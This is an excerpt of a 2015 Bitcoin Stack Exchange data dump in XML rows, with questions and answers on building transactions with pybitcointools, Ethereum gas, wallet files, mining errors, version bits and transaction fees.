  <row Id="39194" PostTypeId="1" AcceptedAnswerId="39207" CreationDate="2015-08-21T22:42:42.023" Score="3" ViewCount="1097" Body="&lt;p&gt;I'm utilizing the &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt; module in python 3.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've went through time and time again in the examples listed on the github page, but it isn't documented very well nor is the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My situation is this: I have a list of private keys in a CSV and I want to generate a raw transaction for each address and spend their unspent_outputs to a single address by pushing the signed transaction to &lt;a href=&quot;https://blockchain.info/pushtx&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a problem when it comes to the these functions: mktx, mksend, sign&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone could create an example of the process while also documenting each step and explaining what each argument for each function is for and how it's used. This would be an amazing help if someone could give a hand here! I've searched far and low, but I just can't find a good documentation of this process. I'm sure this would help many others as well!&lt;/p&gt;&#xA;" OwnerUserId="28036" LastActivityDate="2015-08-24T07:03:58.767" Title="Constructing, signing, and pushing a Bitcoin transaction by using pybitcointools with Python" Tags="|transactions|development|private-key|script|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39195" PostTypeId="2" ParentId="38963" CreationDate="2015-08-21T23:00:36.380" Score="1" Body="&lt;p&gt;Since you use &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;BitcoinLib&lt;/strong&gt;&lt;/a&gt; you can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        GetRawMemPoolResponse memPool = CoinService.GetRawMemPool(true);&#xA;&#xA;        foreach (GetRawMemPoolVerboseResponse response in memPool.VerboseResponses)&#xA;        {&#xA;            GetRawTransactionResponse rawTx = CoinService.GetRawTransaction(response.TxId, 1);&#xA;            // do something with the raw tx here&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-08-21T23:00:36.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39196" PostTypeId="1" CreationDate="2015-08-21T23:33:12.633" Score="1" ViewCount="45" Body="&lt;p&gt;If the general practice is use to different bitcoin address for every new transaction, does it mean that merchant in a retail store that accepts bitcoins has to change his QR code for every new customer in the line. Would it not increase the checkout time for consumers significantly&lt;/p&gt;&#xA;" OwnerUserId="28038" LastActivityDate="2015-08-22T02:42:23.180" Title="Checkout time for consumers in stores accepting bitcoins" Tags="|address-generation|merchants|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39197" PostTypeId="2" ParentId="39132" CreationDate="2015-08-22T00:39:23.083" Score="59" Body="&lt;p&gt;In Ethereum, gas is a measure of computational effort. To each operation, a fixed amount of gas is assigned (e.g. adding two numbers costs 3 gas, calculating a hash costs 30 gas, sending a transaction costs 21000 gas [1]).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since computation is expensive (mind that it has to be done by every full node in the network), excessive consumption of gas needs to be discouraged. Therefore, each unit of gas must be paid for (in Ether) by the sender of the transaction that triggered the computation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it is often not easy and in general even impossible to know in advance how much gas a transaction will need eventually. Therefore, transactions have a &lt;em&gt;gas limit&lt;/em&gt; field to specify the maximum amount of gas the sender is willing to buy. If the gas used exceeds this limit during execution, processing is stopped. The sender still has to pay for the performed computation, but they are protected from running completely out of funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction gas limit also protects full nodes from attackers, who could, without a gas limit, make them execute effective infinity loops. If such a transaction would take longer than one block to process, it could never be included in a block, and, thus, the attacker wouldn't need to pay for it. [2]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, blocks, too, have a field called &lt;em&gt;gas limit&lt;/em&gt;. It defines the maximum amount of gas all transactions in the whole block combined are allowed to consume. Similar to the maximum block size in Bitcoin (measured in bytes), its purpose is to keep block propagation and processing time low, thereby allowing for a sufficiently decentralized network. In contrast to Bitcoin, it is however not a constant. Instead, miners have the option to increase or decrease it every block by a certain factor. [3]&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;[1] See the &lt;a href=&quot;http://gavwood.com/Paper.pdf&quot;&gt;Yellow Paper&lt;/a&gt; for a breakdown of operations and the respective gas costs (Appendices G and H)&lt;/li&gt;&#xA;&lt;li&gt;[2] &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/Design-Rationale#gas-and-fees&quot;&gt;https://github.com/ethereum/wiki/wiki/Design-Rationale#gas-and-fees&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;[3] See the &lt;a href=&quot;http://gavwood.com/Paper.pdf&quot;&gt;Yellow Paper&lt;/a&gt; Equations 40 to 42 for the exact rules&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2015-08-22T00:39:23.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39199" PostTypeId="1" CreationDate="2015-08-22T02:16:40.320" Score="3" ViewCount="83" Body="&lt;p&gt;What information is exactly saved inside the wallet.dat file? When I run the bitcoin daemon, then stop, then compare the new wallet.dat file with the old one, the binary files differ, although I didn't make any new transactions. Can you explain the reason of this behavior?&lt;/p&gt;&#xA;" OwnerDisplayName="user27928" LastActivityDate="2015-08-22T03:02:59.130" Title="Why does wallet.dat differ after running?" Tags="|bitcoind|wallet.dat|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39200" PostTypeId="2" ParentId="39196" CreationDate="2015-08-22T02:42:23.180" Score="3" Body="&lt;p&gt;Why should it increase the checkout time?  In such a situation, the QR code would normally be displayed on a computer or tablet screen, not printed on paper, so a new one can easily be displayed for each customer.  Generating a new Bitcoin address doesn't take much time - a few milliseconds, maybe - and can be incorporated into the merchant's point-of-sale software so that it happens automatically as soon as the clerk touches the &quot;customer paying with Bitcoin&quot; button.  Alternatively, the addresses can be generated ahead of time and used one by one, which would be even faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The merchant does have to keep track of a separate private key for each address; but this is easily handled by software.  Bitcoin wallets are designed to efficiently handle large numbers of private keys, and automatically select coins from the many available addresses when sending a transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What &lt;em&gt;would&lt;/em&gt; increase the checkout time is if the merchant feels it's necessary to wait for one or more confirmations of the transaction.  Each confirmation takes, nominally, an average of ten minutes.  Most people assume that this wouldn't be used for small purchases; for large purchases, the customer might be asked to wait after sending the coins (but of course other customers can be served in the meantime).&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-08-22T02:42:23.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39201" PostTypeId="2" ParentId="39199" CreationDate="2015-08-22T03:02:59.130" Score="3" Body="&lt;p&gt;The wallet contains a lot of metadata, and is actually a database rather than a flat file. At a minimum it contains a record of where you were last synced to in the chain, allowing any node that loads this wallet to pick up where it left off. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-08-22T03:02:59.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39203" PostTypeId="1" CreationDate="2015-08-22T04:40:55.903" Score="3" ViewCount="270" Body="&lt;p&gt;I'm reading Bitcoin paper of Satoshi Nakamoto (&lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/bitcoin.pdf&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each owner transfers the coin to the next by digitally signing &lt;strong&gt;&lt;em&gt;a hash&#xA;  of the previous transaction&lt;/em&gt;&lt;/strong&gt; and the public key of the next owner and&#xA;  adding these to the end of the coin. A payee can verify the signatures&#xA;  to verify the chain of ownership.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And the very next sentence is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The problem of course is the payee can't verify that one of the owners&#xA;  did not double-spend the coin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is, as I understand, after every transaction a new transaction hash is generated. So, first, it is not possible to double-spend a coin because it already has a new &lt;em&gt;previous transaction hash&lt;/em&gt;. Second, why it says &lt;em&gt;payee can't verify&lt;/em&gt; a double-spend if every transaction a coin has a new &lt;em&gt;previous transaction&lt;/em&gt; hash?&lt;/p&gt;&#xA;" OwnerUserId="28045" LastActivityDate="2015-08-22T08:06:02.080" Title="Why it is not possible for a payee to verify double-spends of the coin?" Tags="|bitcoind|doublespend|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39205" PostTypeId="2" ParentId="39203" CreationDate="2015-08-22T08:06:02.080" Score="3" Body="&lt;p&gt;As a participant in the peer to peer network, it is impossible for you to know that the state and timing you are seeing are consistent with what other people are seeing. You can't ask other participants in the network what they are seeing directly as they can lie, withhold information, or the request can be tampered with on its way across the network. The block chain and proof of work mining system are designed to ensure that in all probability, nodes in the network have consistent ordering and atomicity. Absent this, it would be very feasible for nodes to see a different state and make different decisions about validity. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-08-22T08:06:02.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39206" PostTypeId="1" CreationDate="2015-08-22T08:20:54.660" Score="6" ViewCount="302" Body="&lt;p&gt;My Bitcoin Core is not yet synchronized, but I already attempted sending a transaction, so now it is 'conflicted'.&#xA;I can see this conflicted transaction is not being propagated.&#xA;Is there a way to force the sending of that transaction?&#xA;I know for sure that whatever input it will use, that transaction will be valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="28047" LastActivityDate="2016-02-19T09:53:30.510" Title="Bitcoin Core V 0.10.0: Is there a way to force send when not synchronized?" Tags="|bitcoind|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39207" PostTypeId="2" ParentId="39194" CreationDate="2015-08-22T13:41:03.360" Score="3" Body="&lt;p&gt;OK, so first off:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use Python 2.7; there's numerous pieces of code which doesn't work with Python 3.4, namely &lt;code&gt;make_request&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check out &lt;a href=&quot;https://github.com/simcity4242/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;this pybitcointools fork&lt;/a&gt;, as there's a lot of added functionality (see the &lt;code&gt;README.txt&lt;/code&gt; file)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The functions you've named work as so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;mktx(ins, outs)&lt;/code&gt; where &lt;code&gt;ins&lt;/code&gt; is an array of &lt;code&gt;&quot;hexTxIdString:index&quot;&lt;/code&gt; and &lt;code&gt;outs&lt;/code&gt; is an array of &lt;code&gt;{&quot;value&quot;: 12345, &quot;address&quot;: 1base58addressString}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;mksend(ins, outs, txfee, 1changeAddress)&lt;/code&gt; where &lt;code&gt;txfee&lt;/code&gt; is again in Satoshis&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;sign(unsignedtx, index to sign, privkey for utxo)&lt;/code&gt; where &lt;code&gt;index&lt;/code&gt; is the &lt;code&gt;input&lt;/code&gt; index to sign&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We'll start by making the ins:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;utxos = [(utxo_txid, utxo_index), (txid2, i2)....]&#xA;ins = [&quot;%s:%d&quot; % utxo for utxo in utxos]&#xA;change_addr = &quot;1thisIsAChangeAddressYouOwn123&quot;&#xA;txfee = int(0.45 * len(ins) * 10000) # you may want to check this 10000 value, it could be 100000&#xA;rawtx = mksend(ins, txfee, change_addr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right, so let's assume, you have the UTXOs' &lt;code&gt;TxID&lt;/code&gt; and corresponding &lt;code&gt;vout&lt;/code&gt; for each private key. Make an dict of &lt;code&gt;privkeys ={ 'TxID:vout' : privkey, 'TxID2:vout2': privkey2 }&lt;/code&gt; Then finally, &lt;code&gt;signall(rawtx, privkeys)&lt;/code&gt; to get your signed Tx. Then to broadcast it, use &lt;code&gt;pushtx(signedTx, source=&quot;bci&quot;)&lt;/code&gt; or &lt;code&gt;pushtx(signedTx, &quot;testnet&quot;, source=&quot;blockr&quot;)&lt;/code&gt; for Testnet. Done!&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-08-24T07:03:58.767" LastActivityDate="2015-08-24T07:03:58.767" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="39208" PostTypeId="2" ParentId="39206" CreationDate="2015-08-22T22:25:51.697" Score="1" Body="&lt;p&gt;No, you can not force a transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your bitcoin core wallet will only trust receiving and sending transactions once you are synchronised. Your wallet is currently doing something similar to time travelling. It is synchronising all transaction from the genenis block to the current block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain is a numerical sequence of the proof of existance of every transaction recorded on Bitcoins world wide ledger. Your Tx will be propagated as soon as you have downloaded this chain of truth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_chain&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2015-08-22T22:25:51.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39211" PostTypeId="2" ParentId="38736" CreationDate="2015-08-23T15:03:39.307" Score="1" Body="&lt;p&gt;Chainpoint is a standard for maximizing the scalability of recording data in the blockchain and generating blockchain receipts. Each receipt contains all the information needed to verify the data without relying on a trusted third party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read our white paper and download a Python implementation of a Chainpoint server at &lt;a href=&quot;https://github.com/chainpoint&quot; rel=&quot;nofollow&quot;&gt;&lt;a href=&quot;http://github.com/chainpoint&quot; rel=&quot;nofollow&quot;&gt;http://github.com/chainpoint&lt;/a&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tierion and Storj are the first to implement this new standard.&lt;/p&gt;&#xA;" OwnerUserId="28058" LastActivityDate="2015-08-23T15:03:39.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39212" PostTypeId="1" CreationDate="2015-08-23T18:37:24.303" Score="2" ViewCount="1444" Body="&lt;p&gt;hope someone can help.&#xA;I use an Antminer U3 on a Raspberry Pi with Minera and CGminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I mine everything with Scrypt-Algo, I get 100% rejected shares.&#xA;My current pool is ghash.io.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My log looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Rejected 09ffd3f1 Diff 26/16 AU3 0 pool 1 (Low difficulty share)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;api-listen&quot;: true,&#xA;    &quot;api-allow&quot;: &quot;W:127.0.0.1&quot;,&#xA;    &quot;log-file&quot;: &quot;\/var\/log\/minera\/cgminer.log&quot;,&#xA;    &quot;scrypt&quot;: true,&#xA;    &quot;scan&quot;: &quot;all&quot;,&#xA;    &quot;pools&quot;: [&#xA;        {&#xA;            &quot;url&quot;: &quot;stratum+tcp://multi.ghash.io:3333&quot;,&#xA;            &quot;user&quot;: &quot;WORKER&quot;,&#xA;            &quot;pass&quot;: &quot;123&quot;&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My additional options are: --au3-volt 780  --au3-freq 238&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Minera shows a hashrate of about 60 GH/s, Ghash.io shows about 1MH/s in the multipool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i change to the bitcoin pool, everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&#xA;Could it be affected by the pool difficulty, i can set on the ghash.io panel? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="28059" LastEditorUserId="5406" LastEditDate="2015-08-24T21:38:29.480" LastActivityDate="2015-08-25T06:55:00.897" Title="Always rejected shares (Antminer U3 / Minera /CGminer)" Tags="|antminer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39213" PostTypeId="1" CreationDate="2015-08-24T01:19:37.087" Score="2" ViewCount="1580" Body="&lt;p&gt;Looking at &lt;a href=&quot;https://bitinfocharts.com/&quot; rel=&quot;nofollow&quot;&gt;https://bitinfocharts.com/&lt;/a&gt; I see that Dogecoin has only 13% of the number of transactions per day that Bitcoin has (12,778 vs 94,166). I understand that makes block sizes less of an issue for Dogecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that the only reason why I've never seen Dogecoiners partaking in debates about block sizes, or do they have some other reason for not worrying about this yet?&lt;/p&gt;&#xA;" OwnerUserId="13851" LastActivityDate="2015-08-24T01:46:30.653" Title="Does the block size issue also apply to Dogecoin?" Tags="|dogecoin|blocksize|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39214" PostTypeId="2" ParentId="39213" CreationDate="2015-08-24T01:46:30.653" Score="5" Body="&lt;p&gt;It has been &lt;a href=&quot;https://www.reddit.com/r/dogecoin/comments/3cg31l/block_size_and_transaction_confirmations_for/&quot;&gt;discussed before&lt;/a&gt;, but you're right that the problem isn't nearly as big. There are a couple of reasons for this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Dogecoin has the &lt;a href=&quot;https://github.com/dogecoin/dogecoin/search?utf8=%E2%9C%93&amp;amp;q=MAX_BLOCK_SIZE&quot;&gt;same blocksize limit&lt;/a&gt; as Bitcoin, but it has ten times as many blocks, and therefore the limit is ten times higher.&lt;/li&gt;&#xA;&lt;li&gt;As you say, there are fewer transactions on Dogecoin's network.&lt;/li&gt;&#xA;&lt;li&gt;Hard forks are regarded differently within the Dogecoin community. For example, they recently altered their coin to remove the one hundred million coin cap. I don't think the Dogecoin devs would have any compunctions about raising the 1MB limit.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-24T01:46:30.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39215" PostTypeId="2" ParentId="39212" CreationDate="2015-08-24T02:27:27.790" Score="4" Body="&lt;p&gt;An Antminer U3 is a SHA256 miner, it can not mine anything else. The shares are being rejected because they are effectively nonsense to the receiving pool, as they do not satisfy the difficulty requirements they have asked for.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-08-25T06:55:00.897" LastActivityDate="2015-08-25T06:55:00.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39216" PostTypeId="1" AcceptedAnswerId="39224" CreationDate="2015-08-24T04:43:08.337" Score="10" ViewCount="1253" Body="&lt;p&gt;What does &lt;a href=&quot;https://gist.github.com/sipa/bf69659f43e763540550&quot; rel=&quot;noreferrer&quot;&gt;Pieter Wuille's version bits proposal&lt;/a&gt; change? How does a miner signal support for a particular fork? Can the version bits system be used with hard forks?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2015-08-24T21:34:44.420" LastActivityDate="2015-08-24T21:34:44.420" Title="What are version bits?" Tags="|bitcoin-core-development|bip9-version-bits|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39217" PostTypeId="1" AcceptedAnswerId="39220" CreationDate="2015-08-24T05:17:52.427" Score="3" ViewCount="135" Body="&lt;p&gt;If an extortion attempt is made telling the victim to deposit a specific amount to a bitcoin account &quot;or else&quot; what law enforcement agency takes lead?  How can one determine the jurisdiction of an account?&lt;/p&gt;&#xA;" OwnerUserId="28061" LastActivityDate="2015-08-24T08:49:53.710" Title="Extortion attempt" Tags="|fraud|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39218" PostTypeId="2" ParentId="25793" CreationDate="2015-08-24T05:24:59.010" Score="5" Body="&lt;p&gt;If you call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli settxfee &amp;lt;fee&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just before call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli sendtoaddress &quot;1LipeR1AjHL6gwE7WQECW4a2H4tuqm768N&quot; &amp;lt;value&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the fee will be &lt;code&gt;&amp;lt;fee&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important note:&lt;/strong&gt; make sure in the graphic mode (when you start with &lt;strong&gt;&lt;code&gt;bitcoin-qt&lt;/code&gt;&lt;/strong&gt; command) the &quot;custom&quot; is selected, otherwise your command &lt;code&gt;settxfee&lt;/code&gt; will be ignored (see image bellow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm not sure if this option is selected by default, and I am not sure as well if it you can set &quot;custom&quot; via API. If someone knows that, please edit this answer and fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 2:&lt;/strong&gt; I'm not sure if this is strictly necessary, maybe not. I didn't make many tests. The test I made was starting bitcoin with &lt;strong&gt;&lt;code&gt;bitcoin-qt -txindex -server &amp;amp;&lt;/code&gt;&lt;/strong&gt; and then letting the interface open. If &quot;recommended&quot; is selected the command &lt;strong&gt;&lt;code&gt;settxfee&lt;/code&gt;&lt;/strong&gt; will be ignored. I didn't tested e.g. what if let the &quot;recommended&quot; option selected, close the interface and then start with &lt;strong&gt;&lt;code&gt;bitcoind -txindex&lt;/code&gt;&lt;/strong&gt; for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6rd9i.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6rd9i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="1761" LastEditDate="2015-08-24T05:31:08.637" LastActivityDate="2015-08-24T05:31:08.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39220" PostTypeId="2" ParentId="39217" CreationDate="2015-08-24T08:49:53.710" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If an extortion attempt is made telling the victim to deposit a specific amount to a bitcoin account &quot;or else&quot; what law enforcement agency takes lead?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assuming that you're in the United States, the FBI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.fbi.gov/contact-us/when&quot; rel=&quot;nofollow&quot;&gt;https://www.fbi.gov/contact-us/when&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can one determine the jurisdiction of an account?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can't, particularly if they've never used that address before. It sounds like that's what they've done, assuming they want to know when each person has paid up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you pay the ransom, and they deposit the money into an exchange, then you have somewhere to start. Of course, if they just sit on the money for the next five years, you don't have anything to go on. Either way, this isn't easy.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-24T08:49:53.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39221" PostTypeId="1" CreationDate="2015-08-24T09:17:37.907" Score="1" ViewCount="244" Body="&lt;p&gt;I'd like to listen opinions of people that have created already their own working contract. What have you read at the beginning and then? What was the most powerful source that helped you understand Ethereum generally and then deeper?&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2015-08-26T14:14:35.990" Title="How to start programming using Ethereum?" Tags="|development|ethereum|" AnswerCount="1" CommentCount="0" ClosedDate="2020-04-25T21:35:35.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="39222" PostTypeId="2" ParentId="36535" CreationDate="2015-08-24T11:09:15.667" Score="0" Body="&lt;p&gt;You might be interested in what I wrote about the subject &lt;a href=&quot;https://bitcointalk.org/index.php?topic=79837.0&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. You can make a protocol change where miners are given a choice of their block's &quot;weight&quot;, and their decision can then be used to set the global frequency parameters.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-08-24T11:09:15.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39223" PostTypeId="1" AcceptedAnswerId="39259" CreationDate="2015-08-24T15:34:47.177" Score="3" ViewCount="83" Body="&lt;p&gt;Is there an API that has sending and receiving functionality of different Bitcoin wallets such as Coinbase, Bitcoin wallet, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would I have to manually incorporate each wallet API myself?&lt;/p&gt;&#xA;" OwnerUserId="28065" LastEditorUserId="5406" LastEditDate="2015-08-24T21:29:30.497" LastActivityDate="2015-08-26T21:22:27.133" Title="Is there an API that supports different Bitcoin wallets?" Tags="|wallet|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39224" PostTypeId="2" ParentId="39216" CreationDate="2015-08-24T18:46:05.567" Score="10" Body="&lt;p&gt;In the Bitcoin blockchain, each &lt;strong&gt;block&lt;/strong&gt; has a &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation#block&quot; rel=&quot;noreferrer&quot;&gt;32-bit field&lt;/a&gt; called &lt;code&gt;version&lt;/code&gt;. Right now, it takes on simple small values like 2 or 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example of changes, block version 3 introduced new rules about transaction validity, as well as anti-malleability measures. Miners with the new Bitcoin client create blocks with the version set to 3 to signal their capability to other network participants. Once enough v3 blocks are mined, the Bitcoin clients start enabling their incompatible (potentially fork-causing) new features, and also reject blocks with versions below 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The version bits proposal is a generalization of this concept. Suppose someone proposes an incompatible feature X and wants to see if they can gather support for it. They somehow agree on which bit to use in order to show support for this feature, and compatible clients will mine blocks with this bit set to 1. To fabricate an example as an illustration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Version field: 00001000 00000000 00000010 00000000&#xA;                   ^      ^            ^&#xA;                   |      |            Supports large blocks&#xA;                   |      Does not support infinite inflation&#xA;                   Supports cat emoticons&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allows multiple features to be proposed in parallel rather than sequentially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the &lt;a href=&quot;https://gist.github.com/sipa/bf69659f43e763540550&quot; rel=&quot;noreferrer&quot;&gt;article&lt;/a&gt; talks about consensus, recycling old bits, and other related pragmatic considerations.&lt;/p&gt;&#xA;" OwnerUserId="23340" LastEditorUserId="23340" LastEditDate="2015-08-24T20:52:53.800" LastActivityDate="2015-08-24T20:52:53.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39225" PostTypeId="2" ParentId="19114" CreationDate="2015-08-24T19:07:57.897" Score="2" Body="&lt;p&gt;Yes, writing your MultiBit (non-HD) private keys on paper should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You definitely need to write down the private keys corresponding to public addresses that have a positive balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also need to write down the private keys for public addresses that are present in your MultiBit wallet but have not been used yet. This is because they are considered to be on standby, and may be used in the future for receiving change or incoming payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you carefully back up &lt;em&gt;all&lt;/em&gt; your private keys and don't generate any new ones, you can always restore your wallet just from the private keys alone (with no other metadata, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be warned that whenever you create a new wallet in MultiBit, it will generate one random key for you by default. So even if you import your old keys into the wallet, you will still have that new fresh key which needs to be backed up, otherwise you risk losing coins.&lt;/p&gt;&#xA;" OwnerUserId="23340" LastActivityDate="2015-08-24T19:07:57.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
